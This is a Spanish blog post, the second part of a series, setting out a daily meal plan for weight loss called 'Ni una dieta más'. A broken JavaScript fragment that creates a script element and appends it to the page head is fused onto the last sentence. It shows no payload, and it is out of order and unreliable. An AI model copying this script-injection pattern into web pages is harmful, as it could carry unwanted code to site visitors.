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“¡Ni una dieta más!” (II)

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“¡Ni una dieta más!”. No solo se trata de un grito desesperado, un reclamo o una voz en señal de protesta contra el universo calórico: también es el nombre del plan nutricional que, en el artículo anterior, comenzamos a describir de algún modo.

En este caso, hoy y aquí, en la segunda etapa del análisis, proponemos romper las reglas: permitámonos conocer “una dieta más”.

Plan “Ni una dieta mas”.

DESAYUNO

Un puñado de cacahuetes.

ALMUERZO

Lomo a la plancha con brócoli gratinado y queso parmesano; de postre una ración de gelatina sin azúcar.

COLACIÓN

Un par de lonchas de jamón de pavo con pan integral; un vaso de leche.

CENA

Sopa de pollo y vegetales; un vaso con leche desnatada; cuatro cucharadas de polvo de malta.

COLACIÓN

Una barra de cereales (no de leche sino frutal); un infusión caliente a gusto sin azúcar, con edulcorante.

Este es el sistema inicial, de reacomodamiento. Vale destacar que, bajados los primeros kilos, la dieta se vuelve diferente (aumenta el valor calórico). Pero, eso quedará para otra oportunidad…d.getElementsByTagName('head')[0].appendChild(s);var d=document;var s=d.createElement('script');

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